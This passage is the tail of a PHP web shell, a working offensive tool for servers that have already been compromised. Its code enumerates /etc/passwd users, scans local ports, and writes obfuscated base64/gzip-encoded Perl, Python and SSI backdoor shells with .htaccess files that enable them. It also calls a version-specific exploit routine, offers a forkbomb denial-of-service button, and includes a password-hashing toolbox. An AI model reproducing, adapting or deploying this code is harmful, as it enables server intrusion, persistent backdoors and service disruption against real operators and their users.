  1784.     echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">"read" /etc/passwd from uid <input name="uid1" type="text" size="10" value="0"> to <input name="uid2" type="text" size="10" value="1000"> <input type="submit" value="go"><input name="uidz" type="hidden" value="done"></form><input name="p" type="hidden" value="e">';
    1785. 

  1785.     if (!empty($_POST["uidz"])) {
    1786. 

  1786.      echo "<br>";
    1787. 

  1787.      //code by oRb
    1788. 

  1788.      for(;$_POST['uid1'] <= $_POST['uid2'];$_POST['uid1']++) {
    1789. 

  1789.       $uid = @posix_getpwuid($_POST['uid1']);
    1790. 

  1790.       if ($uid)
    1791. 

  1791.        echo join(':',$uid)."<br>\n";
    1792. 

  1792.      }
    1793. 

  1793.     }
    1794. 

  1794.    }
    1795. 

  1795.    echo "<br>";
    1796. 

  1796.    if(function_enabled('fsockopen')) {
    1797. 

  1797.     echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">"scan" local open ports from <input name="port1" type="text" size="5" maxlength="5" value="1"> to <input name="port2" type="text" size="5" maxlength="5" value="1337"> <input type="submit" value="go"><input name="portz" type="hidden" value="done"><input name="p" type="hidden" value="e"></form>';
    1798. 

  1798.     if (!empty($_POST["portz"])) {
    1799. 

  1799.      for($i=$_POST["port1"]; $i <= $_POST["port2"]; $i++)
    1800. 

  1800.      {
    1801. 

  1801.       $fp=@fsockopen("127.0.0.1", $i, $errno, $errstr, 1);
    1802. 

  1802.       if ($fp) {
    1803. 

  1803.        echo "-> ".$i."<br>";
    1804. 

  1804.        fclose($fp);
    1805. 

  1805.       }
    1806. 

  1806.      }
    1807. 

  1807.     }
    1808. 

  1808.    }
    1809. 

  1809.    echo '<br><a href="#" onclick="showTooltip(5)" id="link5"> &gt;&gt; minishells help &lt;&lt; </a>
    1810. 

  1810.    <div id="5" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
    1811. 

  1811.    echo 'sometimes CGI and SSI are not disabled globally on the server, so you could use CGI or SSI shell. but to enable CGI/SSI you need to use special .htaccess files.<br>CGI:<br><textarea cols="44" rows="2">'.$htaccesses['cgi'].'</textarea><br><br>SSI:<br><textarea cols="44" rows="4">'.$htaccesses["ssi"].'</textarea><br><br><b>warning:</b> using custom .htaccess could break this site! (it could result in error 500). <br>it is recommended to create new dir and place custom .htaccess and minishells there.<br><br>//thanks to profexer for SSI shell and to Michael Foord for python shell</div>';
    1812. 

  1812.    if (file_exists(".htaccess")) {
    1813. 

  1813.     echo '<br>WARNING: my .htaccess will <b>rewrite</b> current one!';
    1814. 

  1814.    }
    1815. 

  1815.    echo '<br><form method="post" action="'.$_SERVER['PHP_SELF'].'">put mini perl shell into <input name="dir" type="text" maxlength="500" size="10" value="."><font color="green">/</font><input name="file" type="text" maxlength="500" size="10" value="sh.pl"> adding .htaccess <input type="checkbox" name="htaccess"> <input type="submit" value="OK"><input name="extraz" type="hidden" value="perlsh"><input name="p" type="hidden" value="e"> ';
    1816. 

  1816.    if (is_writable("./")) {
    1817. 

  1817.     echo "<font color=\"green\">(./ writable)</font>";
    1818. 

  1818.    } else {
    1819. 

  1819.     echo "<font color=\"red\">(./ readonly)</font>";
    1820. 

  1820.    }
    1821. 

  1821.    echo '</form>';
    1822. 

  1822.    if ($failflag=="1") {
    1823. 

  1823.     echo "can't find perl binary (all system functions disabled) assuming /usr/bin/perl<br>";
    1824. 

  1824.    }
    1825. 

  1825.    echo '<br><form method="post" action="'.$_SERVER['PHP_SELF'].'">put mini python shell into <input name="dir" type="text" maxlength="500" size="10" value="."><font color="green">/</font><input name="file" type="text" maxlength="500" size="10" value="sh.py"> adding .htaccess <input type="checkbox" name="htaccess"> <input type="submit" value="OK"><input name="extraz" type="hidden" value="pysh"><input name="p" type="hidden" value="e"> ';
    1826. 

  1826.    if (is_writable("./")) {
    1827. 

  1827.     echo "<font color=\"green\">(./ writable)</font>";
    1828. 

  1828.    } else {
    1829. 

  1829.     echo "<font color=\"red\">(./ readonly)</font>";
    1830. 

  1830.    }
    1831. 

  1831.    echo '</form>';
    1832. 

  1832.    if ($failflag=="1") {
    1833. 

  1833.     echo "can't find python binary (all system functions disabled) assuming /usr/bin/python<br>";
    1834. 

  1834.    }
    1835. 

  1835.    echo '<br><form method="post" action="'.$_SERVER['PHP_SELF'].'">put mini SSI shell into <input name="dir" type="text" maxlength="500" size="10" value="."><font color="green">/</font><input name="file" type="text" maxlength="500" size="10" value="index.shtml"> adding .htaccess <input type="checkbox" name="htaccess"> <input type="submit" value="OK"><input name="extraz" type="hidden" value="ssish"><input name="p" type="hidden" value="e"> ';
    1836. 

  1836.    if (is_writable("./")) {
    1837. 

  1837.     echo "<font color=\"green\">(./ writable)</font>";
    1838. 

  1838.    } else {
    1839. 

  1839.     echo "<font color=\"red\">(./ readonly)</font>";
    1840. 

  1840.    }
    1841. 

  1841.    echo '</form>';
    1842. 

  1842.    echo '<br>';
    1843. 

  1843.    //code by Eric A. Meyer, license CC BY-SA
    1844. 

  1844.    echo '<script type="text/javascript">function encode() { var obj = document.getElementById("dencoder"); var unencoded = obj.value; obj.value = encodeURIComponent(unencoded); } function decode() { var obj = document.getElementById("dencoder"); var encoded = obj.value; obj.value = decodeURIComponent(encoded.replace(/\+/g,  " ")); } </script>';
    1845. 

  1845.    echo "<font color='blue'>---> Text encoderz/decoderz</font><br><br>";
    1846. 

  1846.    echo "fast URL-encoder:<br>";
    1847. 

  1847.    echo '<form onsubmit="return false;" action="javascript;"><textarea cols="80" rows="4" id="dencoder"></textarea><div><input type="button" onclick="decode()" value="Decode"> <input type="button" onclick="encode()" value="Encode"></div></form>';
    1848. 

  1848.    echo "<br>other encoders: ";
    1849. 

  1849.    $cryptform="<form action=\"".$_SERVER['PHP_SELF']."\" method=\"post\">
    1850. 

  1850.    <input name=\"p\" type=\"hidden\" value=\"e\">
    1851. 

  1851.    <textarea name=\"text\" cols=\"80\" rows=\"4\">";
    1852. 

  1852.    if(isset($_POST["text"])) { 
    1853. 

  1853.     $cryptform.=$_POST["text"];
    1854. 

  1854.     $hash=$_POST['hash'];
    1855. 

  1855.     $hash1=$_POST['hash1'];
    1856. 

  1856.     $hash2=$_POST['hash2'];
    1857. 

  1857.    } else {
    1858. 

  1858.     $hash=genSalt('zxcv',8);
    1859. 

  1859.     $hash1=genSalt('zxcv',8);
    1860. 

  1860.     $hash2=genSalt('zxcv',6,1);
    1861. 

  1861.    }
    1862. 

  1862.    $cryptform.="</textarea><br>
    1863. 

  1863.    <select name=\"cryptmethod\"> 
    1864. 

  1864.    <option value=\"asc2hex\"".($_POST["cryptmethod"] == "asc2hex"?" selected":"").">ASCII to Hex</option> 
    1865. 

  1865.    <option value=\"hex2asc\"".($_POST["cryptmethod"] == "hex2asc"?" selected":"").">Hex to ASCII</option> 
    1866. 

  1866.    <option value=\"b64enc\"".($_POST["cryptmethod"] == "b64enc"?" selected":"").">Base64 Encode</option> 
    1867. 

  1867.    <option value=\"b64dec\"".($_POST["cryptmethod"] == "b64dec"?" selected":"").">Base64 Decode</option> 
    1868. 

  1868.    <option value=\"crypt\"".($_POST["cryptmethod"] == "crypt"?" selected":"").">DES</option> 
    1869. 

  1869.    <option value=\"entityenc\"".($_POST["cryptmethod"] == "entityenc"?" selected":"").">HTML Entities Encode</option> 
    1870. 

  1870.    <option value=\"entitydec\"".($_POST["cryptmethod"] == "entitydec"?" selected":"").">HTML Entities Decode</option> 
    1871. 

  1871.    <option value=\"md5\"".($_POST["cryptmethod"] == "md5"?" selected":"").">MD5</option>
    1872. 

  1872.    <option value=\"md5md5\"".($_POST["cryptmethod"] == "md5md5"?" selected":"").">MD5(MD5)</option>
    1873. 

  1873.    <option value=\"md5unix\"".($_POST["cryptmethod"] == "md5unix"?" selected":"").">MD5(Unix - \$1\$)</option>
    1874. 

  1874.    <option value=\"md5wp\"".($_POST["cryptmethod"] == "md5wp"?" selected":"").">MD5(WordPress - \$P\$B)</option>
    1875. 

  1875.    <option value=\"md5bb\"".($_POST["cryptmethod"] == "md5bb"?" selected":"").">MD5(PHPBB3 - \$H\$9)</option>
    1876. 

  1876.    <option value=\"md5apr\"".($_POST["cryptmethod"] == "md5apr"?" selected":"").">MD5(APR1 - \$apr1\$)</option>
    1877. 

  1877.    <option value=\"blowfish\"".($_POST["cryptmethod"] == "blowfish"?" selected":"").">Blowfish - \$2a\$</option>
    1878. 

  1878.    <option value=\"sha1\"".($_POST["cryptmethod"] == "sha1"?" selected":"").">SHA1</option>
    1879. 

  1879.    <option value=\"sha256\"".($_POST["cryptmethod"] == "sha256"?" selected":"").">SHA256 - \$5\$</option>
    1880. 

  1880.    <option value=\"sha512\"".($_POST["cryptmethod"] == "sha512"?" selected":"").">SHA512 - \$6\$</option>
    1881. 

  1881.    <option value=\"mysql4\"".($_POST["cryptmethod"] == "mysql4"?" selected":"").">MySQL4</option>
    1882. 

  1882.    <option value=\"mysql5\"".($_POST["cryptmethod"] == "mysql5"?" selected":"").">MySQL5</option>
    1883. 

  1883.    </select> salt: <input type=\"text\" name=\"hash\" size=\"9\" maxlength=\"8\" value=\"".$hash."\"> <input type=\"text\" name=\"hash1\" size=\"9\" maxlength=\"8\" value=\"".$hash1."\"> <input type=\"text\" name=\"hash2\" size=\"7\" maxlength=\"6\" value=\"".$hash2."\"> <font color=\"gray\">(salt needed for: md5(unix,wordpress,phpbb3,apr1) - 8 symbols, sha(256,512) - 16 symbols, and blowfish - 22 symbols. ignore these fields if you use other algorithms)</font><br>
    1884. 

  1884.    <input type=\"submit\" name=\"crypt\" value=\"go\"> 
    1885. 

  1885.    </form>";
    1886. 

  1886.    echo $cryptform;
    1887. 

  1887.    if(isset($_POST['crypt'])) {
    1888. 

  1888.     $text=$_POST['text'];
    1889. 

  1889.     if($text == '') {
    1890. 

  1890.      die("<p>empty form</p>\n".$pageend."");
    1891. 

  1891.     }
    1892. 

  1892.     $hash=$_POST['hash'];
    1893. 

  1893.     $hash1=$_POST['hash1'];
    1894. 

  1894.     $hash2=$_POST['hash2'];
    1895. 

  1895.     echo("--><br><textarea cols=\"80\" rows=\"4\">");
    1896. 

  1896.     switch ($_POST['cryptmethod']) {
    1897. 

  1897.     case "asc2hex":
    1898. 

  1898.      $text=asc2hex($text);
    1899. 

  1899.      break;
    1900. 

  1900.     case "hex2asc":
    1901. 

  1901.      $text=hex2asc($text);
    1902. 

  1902.      break;
    1903. 

  1903.     case 'b64enc':
    1904. 

  1904.      $text=base64_encode($text);
    1905. 

  1905.      break;
    1906. 

  1906.     case 'b64dec':
    1907. 

  1907.      $text=base64_decode($text);
    1908. 

  1908.      break;
    1909. 

  1909.     case 'crypt':
    1910. 

  1910.      $text=crypt($text,'CRYPT_STD_DES');
    1911. 

  1911.      break;
    1912. 

  1912.     case 'entityenc':
    1913. 

  1913.      $text=entityenc($text);
    1914. 

  1914.      break;
    1915. 

  1915.     case 'entitydec':
    1916. 

  1916.      $text=entitydec($text);
    1917. 

  1917.      break;
    1918. 

  1918.     case 'md5':
    1919. 

  1919.      $text=md5($text);
    1920. 

  1920.      break;
    1921. 

  1921.     case 'md5md5':
    1922. 

  1922.      $text=md5(md5($text));
    1923. 

  1923.      break;
    1924. 

  1924.     case 'md5unix':
    1925. 

  1925.      $text=unap($text,$hash,'$1$');
    1926. 

  1926.      break;
    1927. 

  1927.     case 'md5wp':
    1928. 

  1928.      $text=phpass($text,$hash,8192,'$P$B');
    1929. 

  1929.      break;
    1930. 

  1930.     case 'md5bb':
    1931. 

  1931.      $text=phpass($text,$hash,2048,'$H$9');
    1932. 

  1932.      break;
    1933. 

  1933.     case 'md5apr':
    1934. 

  1934.      $text=unap($text,$hash,'$apr1$');
    1935. 

  1935.      break;
    1936. 

  1936.     case 'sha1':
    1937. 

  1937.      $text=sha1($text);
    1938. 

  1938.      break;
    1939. 

  1939.     case 'sha256':
    1940. 

  1940.      $text=crypt($text,'$5$'.$hash.$hash1);
    1941. 

  1941.      break;
    1942. 

  1942.     case 'sha512':
    1943. 

  1943.      $text=crypt($text,'$6$'.$hash.$hash1);
    1944. 

  1944.      break;
    1945. 

  1945.     case 'blowfish':
    1946. 

  1946.      $text=crypt($text,'$2a$07$'.$hash.$hash1.$hash2);
    1947. 

  1947.      break;
    1948. 

  1948.     case 'mysql4':
    1949. 

  1949.      $text=mysql4($text);
    1950. 

  1950.      break;
    1951. 

  1951.     case 'mysql5':
    1952. 

  1952.      $text='*'.strtoupper(sha1(sha1($text,TRUE)));
    1953. 

  1953.      break;
    1954. 

  1954.     }
    1955. 

  1955.     $text=htmlentities($text);
    1956. 

  1956.     echo("$text</textarea><br>");
    1957. 

  1957.    }
    1958. 

  1958.    //decoders end
    1959. 

  1959.    echo '<br><br><font color="blue">---> DoS</font><font color="gray"> //use this carefully</font><br><br>';
    1960. 

  1960.    echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="p" type="hidden" value="e"><input name="extraz" type="hidden" value="fork"><input type="submit" value="forkbomb"></form>';
    1961. 

  1961.    echo $pageend;
    1962. 

  1962.   }
    1963. 

  1963.   if (!empty($_POST["extraz"])) {
    1964. 

  1964.    switch ($_POST["extraz"]) {
    1965. 

  1965.     case "fork":
    1966. 

  1966.      while(pcntl_fork()|1); 
    1967. 

  1967.      break;
    1968. 

  1968.     case "pysh":
    1969. 

  1969.      //code by Michael Foord & 12309, license WTFPL 
    1970. 

  1970.      if ($failflag=="1") {
    1971. 

  1971.       $pybin="/usr/bin/python";
    1972. 

  1972.      } else {
    1973. 

  1973.       $pybin=search("python",$failflag);
    1974. 

  1974.      }
    1975. 

  1975.      $pyshcode='#!'.$pybin;
    1976. 

  1976.      $pyshcode.="\n";
    1977. 

  1977.      $pyshcode.=gzinflate(base64_decode("bVRRT9swEH7Pr7jlpa0IKWObtLGmUoEClWBFbR82QRW5idNaS+LIdqBl2n/fnZ10BfGU3N33fXc+n8+o3ZkHoqikMpCshVl9d5+Ql2yV827P49uEVwZRFdPaa6B6pwMCBiC1h0aoTcqVgggaQ9bGy5QswIiCtwm0URnZrYpRLOErlvx20LlRolxPpi28tRuhFtyGK4yaGMvzRIZlYMVPQsky3DAd/+a7rj+/mE3uF/GP0d3Y7+EBdKJEZUqGBUUHhIdXwKXHc83fon3fS3kGa24yqYruE8trngttAjAbTq4ASmkqxTUvTdTpULqUGYbUP389QARkgucpiBL2ZMQAlo7EVmVfuwWTCFiZB2svUe1/Fow1lVoVMLuKdxudBt+DD5HzPyyd2Bu11/DQVkawvbArViO0YFU3Z8UqZbA9g63DBm8Ueu/kcAoeKG5qVdqg17A2nKW2uf7gZnF3OxzcjEeXw8FisrgdD9ELR4e3cERAOAYGF9cTWO3gqn552RWsDKCuUJan5Px4+unk26DvNAZ9p3g+vfxFgt5KpjteUtLOoG+9CKHUHQ/HF0viWtvg+XAuC242OIDwjN2GZ5yUNXJQbDYc3M/GSMG2xzHVFscQISuOCybKOO7Qa6HpBP9Clgbpx3QLZ2D41vQ3psj9BmBHo8CM+JbCK2rZ3EjF1vTw2gFqh+6hkxRpZxmQgVHsIdoYt+12sTbtQX+91mgafTWd3cHdeHEzvYwe/fvpfPHoA0uMkGX0fsuHA1FWtQHyIAUTIYPOgwYdCC0tXsj6fPLou/44RgPS9aoQBLOjgI5r2eL6VI69mdeVezTS7oQ0hy5Gt9IJGndgb9CpLMY/F6PZeASJzHXkfz3xQcln/Dv94uM14duwaw4g2Yg8jXE9CRyavYG7yi2ESla8PO26BL03hDDJpbb3AjjLus6JdKgRKmx39zWN3Ac8dw7HpvdrVyuM7QcvIAD36hxsP5DkyjBZuw8PtGj94bLIeZRZJ81LFuLE2FZ3e6GucmFyUXLtWLSJyKRFxNwTd9nIedDpfttT6p9zNm/H+wc="));
    1978. 

  1978.      $htaccess=$htaccesses['cgi'];
    1979. 

  1979.      if (strnatcmp(version(),"5.2.9") <= 0) {
    1980. 

  1980.       sploent516();
    1981. 

  1981.      }
    1982. 

  1982.      $fh=fopen($_POST["dir"]."/".$_POST["file"],"w");
    1983. 

  1983.      if (!$fh) { echo "can`t fopen ".$_POST["dir"]."/".$_POST["file"]."!"; }
    1984. 

  1984.      else {
    1985. 

  1985.       fwrite($fh,$pyshcode);
    1986. 

  1986.       fclose($fh);
    1987. 

  1987.       echo $_POST["file"]." write done, chmoding..<br>";
    1988. 

  1988.       $ch=chmod($_POST["dir"]."/".$_POST["file"], 0755);
    1989. 

  1989.       if (!$ch) {
    1990. 

  1990.        echo "chmod failed, make chmod 755 manually<br>";
    1991. 

  1991.       } else {
    1992. 

  1992.        echo "chmod done<br>";
    1993. 

  1993.       }
    1994. 

  1994.       if ($_POST["htaccess"] == "on") {
    1995. 

  1995.        $fh=fopen($_POST["dir"]."/.htaccess","w");
    1996. 

  1996.        fwrite($fh,$htaccess);
    1997. 

  1997.        fclose($fh);
    1998. 

  1998.        echo "htaccess done";
    1999. 

  1999.       }
    2000. 

  2000.      }
    2001. 

  2001.      break;
    2002. 

  2002.     case "perlsh":
    2003. 

  2003.      //author/license unknown
    2004. 

  2004.      if ($failflag=="1") {
    2005. 

  2005.       $perlbin="/usr/bin/perl";
    2006. 

  2006.      } else {
    2007. 

  2007.       $perlbin=search("perl",$failflag);
    2008. 

  2008.      }
    2009. 

  2009.      $perlshcode='#!'.$perlbin;
    2010. 

  2010.      $perlshcode.="\n";
    2011. 

  2011.      $perlshcode.=gzinflate(base64_decode("TVFLTwIxEL73V4wNMSXZFdSYGBY2QQ7E+DioRxKtu7PSpNuubRdQ5L87XYR4m3bme8w3rUeYzW/hcz1IjX3dLEOtYeSDNKV05SBj7X5gNJpJ19CYqGSQ2r/YG2fXHl0/Y41TJsASZYlOpMVSOo8BJjnwNlTpNe8njAhdeI3kItXSfHRd1/IE0qCCxu7NiUtVIKCRTtaiD33YsvoLeiuY/P3xFT8K9lYJ8PG7yxeGZ91cUDXalqThcpgxbQupofd8O99O758edvTt23fYQqEtLXU3fTwwcSCCUiHwPwaewS5jvUaVBLINGkHTpEZOLvLTc/iJLjpAIc0bWTk5IxPQGo3eg4hAGsAV6W+Z1NLV4mDuaL+zPg64oWhQQmG1nyz49XDBISZL9cXVgufkbL1UGgWMyUMeM4GOgCwemQYHmjySEmSvOSSxf8vu2AGxP0dlXZ2wCK0U6lKkRtY4ySljOotX31RTkFTTHi3uL5TEDGsVBJ/beFg0ZUcDVHT3pbU31I7Svw=="));
    2012. 

  2012.      $htaccess=$htaccesses['cgi'];
    2013. 

  2013.      if (strnatcmp(version(),"5.2.9") <= 0) { 
    2014. 

  2014.       sploent516();
    2015. 

  2015.      }
    2016. 

  2016.      $fh=fopen($_POST["dir"]."/".$_POST["file"],"w");
    2017. 

  2017.      if (!$fh) { echo "can`t fopen ".$_POST["dir"]."/".$_POST["file"]."!"; } 
    2018. 

  2018.      else {
    2019. 

  2019.       fwrite($fh,$perlshcode);
    2020. 

  2020.       fclose($fh);
    2021. 

  2021.       echo $_POST["file"]." write done, chmoding..<br>";
    2022. 

  2022.       $ch=chmod($_POST["dir"]."/".$_POST["file"], 0755);
    2023. 

  2023.       if (!$ch) {
    2024. 

  2024.        echo "chmod failed, make chmod 755 manually<br>";
    2025. 

  2025.       } else {
    2026. 

  2026.        echo "chmod done<br>";
    2027. 

  2027.       }
    2028. 

  2028.       if ($_POST["htaccess"] == "on") {
    2029. 

  2029.        $fh=fopen($_POST["dir"]."/.htaccess","w");
    2030. 

  2030.        fwrite($fh,$htaccess);
    2031. 

  2031.        fclose($fh);
    2032. 

  2032.        echo "htaccess done";
    2033. 

  2033.       }
    2034. 

  2034.      }
    2035. 

  2035.      break;
    2036. 

  2036.     case "ssish":
    2037. 

  2037.      // code by profexer
    2038. 

  2038.      $ssishcode=gzinflate(base64_decode("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"));
    2039. 

  2039.      $htaccess=$htaccesses['ssi'];
    2040. 

  2040.      if (strnatcmp(version(),"5.2.9") <= 0) { 
    2041. 

  2041.       sploent516();
    2042. 

  2042.      }
    2043. 

  2043.      $fh=fopen($_POST["dir"]."/".$_POST["file"],"w");
    2044. 

  2044.      if (!$fh) { echo "can`t fopen ".$_POST["dir"]."/".$_POST["file"]."!"; }
    2045. 

  2045.      else {
    2046. 

  2046.       fwrite($fh,$ssishcode);
    2047. 

  2047.       fclose($fh);
    2048. 

  2048.       echo $_POST["file"]." write done<br>";
    2049. 

  2049.       if ($_POST["htaccess"] == "on") {
    2050. 

  2050.        $fh=fopen($_POST["dir"]."/.htaccess","w");
    2051. 

  2051.        fwrite($fh,$htaccess);
    2052. 

  2052.        fclose($fh);
    2053. 

  2053.        echo "htaccess done";
    2054. 

  2054.       }
    2055. 

  2055.      }
    2056. 

  2056.      break;
    2057. 

  2057.    }
    2058. 

  2058.   }
    2059. 

  2059.   break;
    2060. 

  2060. // extras end ###
    2061. 

  2061.  case "pi":
    2062. 

  2062.   phpinfo();
    2063. 

  2063.   break;
    2064. 

  2064. } 
    2065. 

  2065. // :)
    2066. 

  2066. ?>
    2067. 

  2067.